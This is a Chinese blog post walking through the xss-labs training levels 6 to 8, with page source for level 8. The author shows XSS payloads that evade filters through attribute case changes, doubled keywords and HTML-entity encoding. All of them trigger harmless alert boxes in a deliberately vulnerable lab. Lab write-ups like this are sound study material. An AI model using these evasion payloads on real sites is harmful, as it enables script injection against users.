xss-labs通关记录（level6~9）

最新推荐文章于 2024-03-18 03:34:48 发布

wu_ceng

最新推荐文章于 2024-03-18 03:34:48 发布

阅读量653

点赞数

本文链接：https://blog.csdn.net/qq_39670065/article/details/107547630

版权

level-6
在这里插入图片描述老样子，在输入框使用<script>alert('xss')</script>进行尝试

在这里插入图片描述输入框显示为<scr_ipt>alert('xss')</script>

查看源码

在这里插入图片描述
会发现和Level-5很相似

尝试用"onfocus=javascript:alert('xss') "

在这里插入图片描述果然在value参数值处"o_nfocus=javascript:alert('xss') "

再就是尝试构造a标签再尝试利用a标签的href属性执行js代码?keyword="> <a href=javascript:alert('xss') > xss</a>

并没有弹窗

查看源码
在这里插入图片描述发现hr_ef

卡住了。。

继续参考师傅们的博客

这里是对href进行大小写绕过，构造
?keyword="> <a hREF="javascript:alert('xss')">xss</a>

注：这里值得一提的是因为我们改动的是<a>标签中的href属性的大小写，而在html中对大小写是不敏感的。因此在浏览器端我们的恶意代码才能成功执行。

在这里插入图片描述点击xss即可弹窗
源码

level-7
老样子，先用<script>alert('xss')</script>进行尝试

发现输入框只显示<>alert('xss')</>，script被过滤

在这里插入图片描述尝试"onfocus=javascript:alert('xss') "
果然也被过滤value=""focus=java:alert('xss') ""

会发现onfocus变成了focus，javascript变成了java

先试试大小写"ONfocus=javaSCRIPT:alert('xss') "
失败

这里再尝试一下双写绕过"ononfocus=javascriptscript:alert('xss') "
失败。。
在这里插入图片描述双写没有成功？？?
当时卡住了。。

之后又查看了师傅的博客，发现是构造双写的方式不对。。
要这要构造
?keyword="oonnfocus=javascscriptript:alert('xss') "
在这里插入图片描述点击输入框后成功弹窗，有一说一这样构造双写的方式确实长见识了

源码
在这里插入图片描述
level-8

在这里插入图片描述
会发现提交的nice trry!会被插入到value的参数值里和a标签的href属性值里

使用<script>alert('xss')</script>尝试

在这里插入图片描述发现value中<和>被编码，href中script被插入了_

尝试使用特殊事件onfocus事件
?keyword="onfocus=javascript:alert('xss') "

在这里插入图片描述照样不行
尝试大小写后发现还是不行

不会了。。

师傅们的方法是对提交的js代码javascript:alert('xss')进行Unicode编码
在这里插入图片描述
javascript:alert('xss')
编码为

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;

但是我没有成功。。编码也没有问题

附上源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<center>
<form action=level8.php method=GET>
<input name=keyword  value="&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#120;&amp;#115;&amp;#115;&amp;#39;&amp;#41;">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;">友情链接</a></center><center><img src=level8.jpg></center>
<h3 align=center>payload的长度:129</h3></body>
</html>